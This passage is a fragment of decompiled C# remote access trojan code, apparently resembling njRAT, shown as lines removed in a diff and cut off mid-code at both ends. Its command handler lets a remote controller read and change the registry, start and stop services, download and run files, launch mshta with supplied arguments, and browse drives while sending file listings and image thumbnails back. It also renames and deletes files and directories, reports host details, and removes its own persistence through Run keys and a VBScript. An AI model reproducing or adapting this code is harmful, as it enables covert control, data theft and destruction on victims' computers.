+ str4 + y; - } - foreach (string valueName in registryKey2.GetValueNames()) - { - string str5 = registryKey2.GetValue(valueName, RuntimeHelpers.GetObjectValue(new object())).ToString(); - if (str5.Length > 200) - str5 = Strings.Mid(str5, 1, 200); - string str6 = Right; - s = valueName + IND.Y + str5 + IND.Y + "Value"; - string str7 = API.ENB(ref s); - string y = IND.Y; - Right = str6 + str7 + y; - } - B b = MyProject.Forms.B; - s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#RG" + IND.Y + "~" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y), (object) Right)); - ref string local4 = ref s; - b.SEND(ref local4); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "!", false)) - { - Array Instance3 = Instance1; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - int num4 = 2; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num4; - objArray4[0] = (object) local5; - object[] Arguments = objArray3; - string str8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null)); - ref string local6 = ref str8; - bool flag = true; - ref bool local7 = ref flag; - RegistryKey registryKey = IND.Rk(ref local6, ref local7); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num4, - (object) str8 - }, (string[]) null, true, false); - registryKey.SetValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 4 - }, (string[]) null))); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "@", false)) - { - Array Instance4 = Instance1; - object[] objArray5 = new object[1]; - object[] objArray6 = objArray5; - int num5 = 2; - // ISSUE: variable of a boxed type - __Boxed local8 = (ValueType) num5; - objArray6[0] = (object) local8; - object[] Arguments = objArray5; - string str9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, Arguments, (string[]) null)); - ref string local9 = ref str9; - bool flag = true; - ref bool local10 = ref flag; - RegistryKey registryKey3 = IND.Rk(ref local9, ref local10); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num5, - (object) str9 - }, (string[]) null, true, false); - RegistryKey registryKey4 = registryKey3; - int num6 = Instance1.Length - 1; - for (int index = 3; index <= num6; ++index) - { - Array Instance5 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)), "\\"); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 1 - }, (string[]) null), (object) "Key", false)) - registryKey4.DeleteSubKeyTree(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 0 - }, (string[]) null))); - else - registryKey4.DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 0 - }, (string[]) null))); - } - } - else - { - if (!Operators.ConditionalCompareObjectEqual(Left2, (object) "#", false)) - return; - Array Instance6 = Instance1; - object[] objArray7 = new object[1]; - object[] objArray8 = objArray7; - int num7 = 2; - // ISSUE: variable of a boxed type - __Boxed local11 = (ValueType) num7; - objArray8[0] = (object) local11; - object[] Arguments = objArray7; - string str10 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance6, Arguments, (string[]) null)); - ref string local12 = ref str10; - bool flag = true; - ref bool local13 = ref flag; - RegistryKey registryKey = IND.Rk(ref local12, ref local13); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num7, - (object) str10 - }, (string[]) null, true, false); - registryKey.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null))); - } - } - else if (Operators.CompareString(Left1, "#k", false) == 0) - { - IND.ER = 1; - if (File.Exists(Application.StartupPath + "\\" + B.exename) && FileSystem.FileLen(Application.StartupPath + "\\" + B.exename) > 0L) - { - B b = MyProject.Forms.B; - string str11 = "#k" + IND.Y + File.ReadAllText(Application.StartupPath + "\\" + B.exename); - ref string local = ref str11; - b.SEND(ref local); - } - else - { - B b = MyProject.Forms.B; - string str12 = "#k" + IND.Y + ".."; - ref string local = ref str12; - b.SEND(ref local); - } - } - else if (Operators.CompareString(Left1, "#X", false) == 0) - { - IND.ER = 0; - int num8 = 8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length; - MemoryStream memoryStream = new MemoryStream(); - int num9 = num8; - int num10 = Da.Length - 1; - for (int index = num9; index <= num10; ++index) - memoryStream.WriteByte(Da[index]); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = API.ZIP(array, ref local); - int num11 = 0; - do - { - if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - try - { - File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - ++num11; - } - else - { - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num11) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - } - while (num11 <= 999); - } - else if (Operators.CompareString(Left1, "##", false) == 0) - { - IND.ER = 5; - MyProject.Computer.Registry.CurrentUser.SetValue("p", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - B b = MyProject.Forms.B; - string str13 = "plugin"; - ref string local = ref str13; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#Rec", false) == 0) - { - B.XRec = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - MyProject.Forms.B.Dis(); - } - else if (Operators.CompareString(Left1, "#ser0", false) == 0) - { - IND.ER = 1; - string str14; - string s; - foreach (ServiceController service in ServiceController.GetServices()) - { - string str15 = str14; - string y = IND.Y; - s = service.ServiceName + "{}" + Strings.Replace(Strings.Replace(Conversions.ToString(service.CanStop), Conversions.ToString(true), "Yes"), Conversions.ToString(false), "No") + "{}" + service.Status.ToString() + "{}" + service.DisplayName; - string str16 = API.ENB(ref s); - str14 = str15 + y + str16; - } - B b = MyProject.Forms.B; - s = "#ser0" + str14; - ref string local = ref s; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#ser1", false) == 0) - { - IND.ER = 1; - foreach (ServiceController service in ServiceController.GetServices()) - { - if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), false)) - service.Start(); - } - } - else if (Operators.CompareString(Left1, "#ser2", false) == 0) - { - IND.ER = 1; - foreach (ServiceController service in ServiceController.GetServices()) - { - if (Operators.ConditionalCompareObjectEqual((object) service.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), false)) - service.Stop(); - } - } - else if (Operators.CompareString(Left1, "#R", false) == 0) - { - IND.ER = 0; - B.Nkey.SetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - B.Vname = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - B b = MyProject.Forms.B; - string str17 = Conversions.ToString(Operators.ConcatenateObject((object) ("#R" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - ref string local = ref str17; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "ping", false) == 0) - { - B b = MyProject.Forms.B; - string str18 = "pong"; - ref string local = ref str18; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#0", false) == 0) - { - IND.ER = 0; - B b1 = MyProject.Forms.B; - string str19 = "#red"; - ref string local14 = ref str19; - b1.SEND(ref local14); - Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.Du((Array) a0))); - Array Instance7 = Instance1; - object[] objArray9 = new object[1]; - object[] objArray10 = objArray9; - int num12 = 1; - // ISSUE: variable of a boxed type - __Boxed local15 = (ValueType) num12; - objArray10[0] = (object) local15; - object[] Arguments = objArray9; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance7, Arguments, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num12, - (object) s - }, (string[]) null, true, false); - string y = IND.Y; - IND.Du((Array) Strings.Split(Expression, y)); - do - { - num1 = 0; - Thread.Sleep(5); - } - while (thread.IsAlive); - B b2 = MyProject.Forms.B; - string str20 = "#Bla"; - ref string local16 = ref str20; - b2.SEND(ref local16); - } - else if (Operators.CompareString(Left1, "#1", false) == 0) - { - B b3 = MyProject.Forms.B; - string str21 = "#red"; - ref string local17 = ref str21; - b3.SEND(ref local17); - IND.ER = 0; - Thread thread = new Thread((ParameterizedThreadStart) (a0 => IND.DT((Array) a0))); - Array Instance8 = Instance1; - object[] objArray11 = new object[1]; - object[] objArray12 = objArray11; - int num13 = 1; - // ISSUE: variable of a boxed type - __Boxed local18 = (ValueType) num13; - objArray12[0] = (object) local18; - object[] Arguments = objArray11; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance8, Arguments, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num13, - (object) s - }, (string[]) null, true, false); - string y = IND.Y; - IND.DT((Array) Strings.Split(Expression, y)); - do - { - num1 = 1; - Thread.Sleep(5); - } - while (thread.IsAlive); - B b4 = MyProject.Forms.B; - string str22 = "#Bla"; - ref string local19 = ref str22; - b4.SEND(ref local19); - } - else if (Operators.CompareString(Left1, "#2", false) == 0) - { - IND.ER = 0; - string str23 = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), ".")[Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), ".").Length - 1]; - int num14 = 0; - while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23)) - { - try - { - File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23); - int num15; - ++num15; - if (num15 > 5) - return; - continue; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - ++num14; - if (num14 > 9999) - return; - } - string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num14) + str23; - Network network = MyProject.Computer.Network; - object[] objArray13 = new object[2]; - object[] objArray14 = objArray13; - Array Instance9 = Instance1; - object[] objArray15 = new object[1]; - object[] objArray16 = objArray15; - int num16 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num16; - objArray16[0] = (object) local; - object[] Arguments1 = objArray15; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance9, Arguments1, (string[]) null)); - objArray14[0] = objectValue; - objArray13[1] = (object) fileName; - object[] objArray17 = objArray13; - object[] Arguments2 = objArray17; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) network, (System.Type) null, "DownloadFile", Arguments2, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num16, - RuntimeHelpers.GetObjectValue(objArray17[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray17[1]), typeof (string)); - Process.Start(fileName); - } - else if (Operators.CompareString(Left1, "#3", false) == 0) - { - IND.ER = 0; - MemoryStream memoryStream = new MemoryStream(); - byte[] bytes1 = Encoding.Default.GetBytes("#4" + IND.Y); - memoryStream.Write(bytes1, 0, bytes1.Length); - Encoding encoding = Encoding.Default; - ref byte[] local20 = ref C.Plug; - string str24 = "plugin.C"; - ref string local21 = ref str24; - string str25 = "Pass"; - ref string local22 = ref str25; - object obj = (object) null; - ref object local23 = ref obj; - string s1 = Conversions.ToString(C.inv(ref local20, ref local21, ref local22, ref local23)); - string s2 = API.ENB(ref s1); - byte[] bytes2 = encoding.GetBytes(s2); - bool flag = true; - ref bool local24 = ref flag; - byte[] buffer = API.ZIP(bytes2, ref local24); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - else if (Operators.CompareString(Left1, "#4", false) == 0) - { - if (B.Rec) - ProjectData.EndApp(); - IND.ER = 0; - try - { - MyProject.Forms.B.BW.B.Dispose(); - A.fj.Dispose(); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "!", false)) - { - try - { - MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(B.SU); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - B.Nkey.DeleteValue("vname"); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - B.Nkey.DeleteValue("FL"); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - foreach (DriveInfo drive in DriveInfo.GetDrives()) - { - if (drive.IsReady) - { - if (drive.TotalFreeSpace > 0L) - { - try - { - if (File.Exists(drive.Name + B.Uo)) - File.Delete(drive.Name + B.Uo); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - } - } - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - foreach (Process process in Process.GetProcessesByName("wscript")) - { - try - { - process.Kill(); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - try - { - string path = Application.StartupPath + "\\j.vbs"; - string w = n.My.Resources.Resources.W; - string contents = API.DEB(ref w).Replace("NJ", Application.ExecutablePath); - File.WriteAllText(path, contents); - Process.Start(Application.StartupPath + "\\j.vbs"); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#5", false) == 0) - { - IND.ER = 0; - Process process = Process.Start(new ProcessStartInfo() - { - FileName = "mshta.exe", - Arguments = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - Thread.Sleep(60000); - try - { - process.Kill(); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#6", false) == 0) - { - IND.ER = 0; - try - { - MyProject.Forms.B.BW.B.Dispose(); - if (A.fj.Id > 1) - A.fj.Kill(); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - Process.Start(Application.ExecutablePath); - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#7", false) == 0) - { - IND.ER = 2; - Array Instance10 = Instance1; - object[] objArray18 = new object[1]; - object[] objArray19 = objArray18; - int num17 = 1; - // ISSUE: variable of a boxed type - __Boxed local25 = (ValueType) num17; - objArray19[0] = (object) local25; - object[] Arguments = objArray18; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance10, Arguments, (string[]) null)); - byte[] numArray = sc.gc(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num17, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - if (buffer.Length == 0) - { - B b = MyProject.Forms.B; - string str26 = "#5" + IND.Y + Conversions.ToString(0); - ref string local26 = ref str26; - b.SEND(ref local26); - } - else - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#8", false) == 0) - { - string Right = "\r\n"; - string str27; - string s = Conversions.ToString(Operators.AddObject((object) (str27 + "PC InfoX*X==" + Right + "PC\\UserX*X" + B.PC + Right + "CountryX*X" + API.Gc() + Right + "OSX*X" + MyProject.Computer.Info.OSFullName.Replace("Windows", "").Replace(" ", " ").Replace("Microsoft", "").Replace("®", "").Replace("™", "") + Right), Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ProcessorX*X", MyProject.Computer.Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0").GetValue("~mhz")), (object) " *"), (object) Environment.ProcessorCount), (object) "~MHZ"), (object) Right))) + "RAMX*X" + IND.siz(Conversions.ToString(MyProject.Computer.Info.TotalPhysicalMemory)) + Right + "UpTimeX*X" + Strings.Split(Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5), ".")[0] + " :Hours" + Right + "Server InfoX*X==" + Right + "ServerX*X" + API.DEB(ref B.Vname) + Right + "Host:PortX*X" + B.no + Right + "DirectoryX*X" + Application.StartupPath + Right + "ExeNameX*X" + AppDomain.CurrentDomain.FriendlyName + Right + "Process IDX*X" + Conversions.ToString(Process.GetCurrentProcess().Id) + Right + "StartupX*X" + B.SU + Right + "PersistantX*X" + Conversions.ToString(B.UU) + Right + "SpreadX*X" + B.spread + Right + "MutexX*X" + B.mU + Right + "First RunX*X" + B.FR + Right + "RegKeyX*X" + B.Nkey.Name + Right + "Firewall BypassX*X" + Strings.Replace(B.Fw.ToString(), "True", "Yes").Replace("False", "No"); - B b = MyProject.Forms.B; - string str28 = "#7" + IND.Y + API.ENB(ref s); - ref string local = ref str28; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#9", false) == 0) - { - IND.ER = 1; - string str29; - string s; - foreach (DriveInfo drive in DriveInfo.GetDrives()) - { - if (drive.IsReady) - { - string str30 = str29; - string y = IND.Y; - s = drive.Name; - string str31 = API.ENB(ref s); - str29 = str30 + y + str31; - } - } - B b = MyProject.Forms.B; - string[] strArray1 = new string[8]; - strArray1[0] = "#8"; - strArray1[1] = str29; - strArray1[2] = IND.Y; - string[] strArray2 = strArray1; - string desktop = MyProject.Computer.FileSystem.SpecialDirectories.Desktop; - string str32 = API.ENB(ref desktop); - strArray2[3] = str32; - strArray1[4] = IND.Y; - string[] strArray3 = strArray1; - string myDocuments = MyProject.Computer.FileSystem.SpecialDirectories.MyDocuments; - string str33 = API.ENB(ref myDocuments); - strArray3[5] = str33; - strArray1[6] = IND.Y; - string[] strArray4 = strArray1; - s = MyProject.Computer.FileSystem.SpecialDirectories.Temp; - string str34 = API.ENB(ref s); - strArray4[7] = str34; - string str35 = string.Concat(strArray1); - ref string local = ref str35; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#10", false) == 0) - { - IND.ER = 1; - Array Instance11 = Instance1; - object[] objArray20 = new object[1]; - object[] objArray21 = objArray20; - int num18 = 1; - // ISSUE: variable of a boxed type - __Boxed local27 = (ValueType) num18; - objArray21[0] = (object) local27; - object[] Arguments3 = objArray20; - string s3 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance11, Arguments3, (string[]) null)); - string path1 = API.DEB(ref s3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num18, - (object) s3 - }, (string[]) null, true, false); - string str36; - foreach (string directory in Directory.GetDirectories(path1)) - { - string str37 = str36; - string y = IND.Y; - string Expression = directory; - Array Instance12 = Instance1; - object[] objArray22 = new object[1]; - object[] objArray23 = objArray22; - int num19 = 1; - // ISSUE: variable of a boxed type - __Boxed local28 = (ValueType) num19; - objArray23[0] = (object) local28; - object[] Arguments4 = objArray22; - string s4 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance12, Arguments4, (string[]) null)); - string Find = API.DEB(ref s4); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num19, - (object) s4 - }, (string[]) null, true, false); - string s5 = Strings.Replace(Expression, Find, "") + "*DIR"; - string str38 = API.ENB(ref s5); - str36 = str37 + y + str38; - } - string[] strArray5 = new string[5] - { - "png", - "jpg", - "jpeg", - "bmp", - "ico" - }; - Array Instance13 = Instance1; - object[] objArray24 = new object[1]; - object[] objArray25 = objArray24; - int num20 = 1; - // ISSUE: variable of a boxed type - __Boxed local29 = (ValueType) num20; - objArray25[0] = (object) local29; - object[] Arguments5 = objArray24; - string s6 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance13, Arguments5, (string[]) null)); - string path2 = API.DEB(ref s6); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num20, - (object) s6 - }, (string[]) null, true, false); - foreach (string file in Directory.GetFiles(path2)) - { - bool flag; - foreach (string str39 in strArray5) - { - if (Operators.CompareString(str39.ToLower(), Strings.Split(file, ".")[Strings.Split(file, ".").Length - 1].ToLower(), false) == 0) - { - flag = true; - break; - } - } - string s7; - if (flag) - { - try - { - Image image = Image.FromFile(file); - MemoryStream memoryStream = new MemoryStream(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - image.GetThumbnailImage(20, 20, (Image.GetThumbnailImageAbort) null, IntPtr.Zero).Save((Stream) memoryStream, encoderInfo, encoderParams); - string str40 = str36; - string y = IND.Y; - string[] strArray6 = new string[5]; - string[] strArray7 = strArray6; - string Expression = file; - Array Instance14 = Instance1; - object[] objArray26 = new object[1]; - object[] objArray27 = objArray26; - int num21 = 1; - // ISSUE: variable of a boxed type - __Boxed local30 = (ValueType) num21; - objArray27[0] = (object) local30; - object[] Arguments6 = objArray26; - string s8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance14, Arguments6, (string[]) null)); - string Find = API.DEB(ref s8); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num21, - (object) s8 - }, (string[]) null, true, false); - string str41 = Strings.Replace(Expression, Find, ""); - strArray7[0] = str41; - strArray6[1] = "*"; - strArray6[2] = Conversions.ToString(FileSystem.FileLen(file)); - strArray6[3] = "*"; - strArray6[4] = API.FEN(memoryStream.ToArray()); - s7 = string.Concat(strArray6); - string str42 = API.ENB(ref s7); - str36 = str40 + y + str42; - memoryStream.Dispose(); - encoderParams.Dispose(); - image.Dispose(); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - string str43 = str36; - string y = IND.Y; - string Expression = file; - Array Instance15 = Instance1; - object[] objArray28 = new object[1]; - object[] objArray29 = objArray28; - int num22 = 1; - // ISSUE: variable of a boxed type - __Boxed local31 = (ValueType) num22; - objArray29[0] = (object) local31; - object[] Arguments7 = objArray28; - string s9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance15, Arguments7, (string[]) null)); - string Find = API.DEB(ref s9); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num22, - (object) s9 - }, (string[]) null, true, false); - string s10 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file)); - string str44 = API.ENB(ref s10); - str36 = str43 + y + str44; - ProjectData.ClearProjectError(); - } - } - else - { - string str45 = str36; - string y = IND.Y; - string Expression = file; - Array Instance16 = Instance1; - object[] objArray30 = new object[1]; - object[] objArray31 = objArray30; - int num23 = 1; - // ISSUE: variable of a boxed type - __Boxed local32 = (ValueType) num23; - objArray31[0] = (object) local32; - object[] Arguments8 = objArray30; - string s11 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance16, Arguments8, (string[]) null)); - string Find = API.DEB(ref s11); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num23, - (object) s11 - }, (string[]) null, true, false); - s7 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file)); - string str46 = API.ENB(ref s7); - str36 = str45 + y + str46; - } - } - B b = MyProject.Forms.B; - string str47 = "#9" + str36; - ref string local33 = ref str47; - b.SEND(ref local33); - } - else if (Operators.CompareString(Left1, "#11", false) == 0) - { - IND.ER = 1; - int num24 = Instance1.Length - 1; - for (int index = 1; index <= num24; ++index) - { - try - { - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string fileName = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s - }, (string[]) null, true, false); - Process.Start(fileName); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - } - else if (Operators.CompareString(Left1, "#12", false) == 0) - { - IND.ER = 1; - Array Instance17 = Instance1; - object[] objArray32 = new object[1]; - object[] objArray33 = objArray32; - int num25 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num25; - objArray33[0] = (object) local; - object[] Arguments = objArray32; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance17, Arguments, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num25, - (object) s - }, (string[]) null, true, false); - Array Instance18 = (Array) Strings.Split(Expression, "\r\n"); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 3 - }, (string[]) null), (object) "DIR", false)) - MyProject.Computer.FileSystem.RenameDirectory(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 2 - }, (string[]) null))); - else - MyProject.Computer.FileSystem.RenameFile(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1] - { - (object) 2 - }, (string[]) null))); - } - else if (Operators.CompareString(Left1, "#13", false) == 0) - { - IND.ER = 1; - int num26 = Instance1.Length - 1; - for (int index = 1; index <= num26; ++index) - { - string s12 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string path3 = API.DEB(ref s12); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s12 - }, (string[]) null, true, false); - if (Directory.Exists(path3)) - { - try - { - string s13 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)); - string path4 = API.DEB(ref s13); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) index, - (object) s13 - }, (string[]) null, true, false); - Directory.Delete(path4, true); - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - 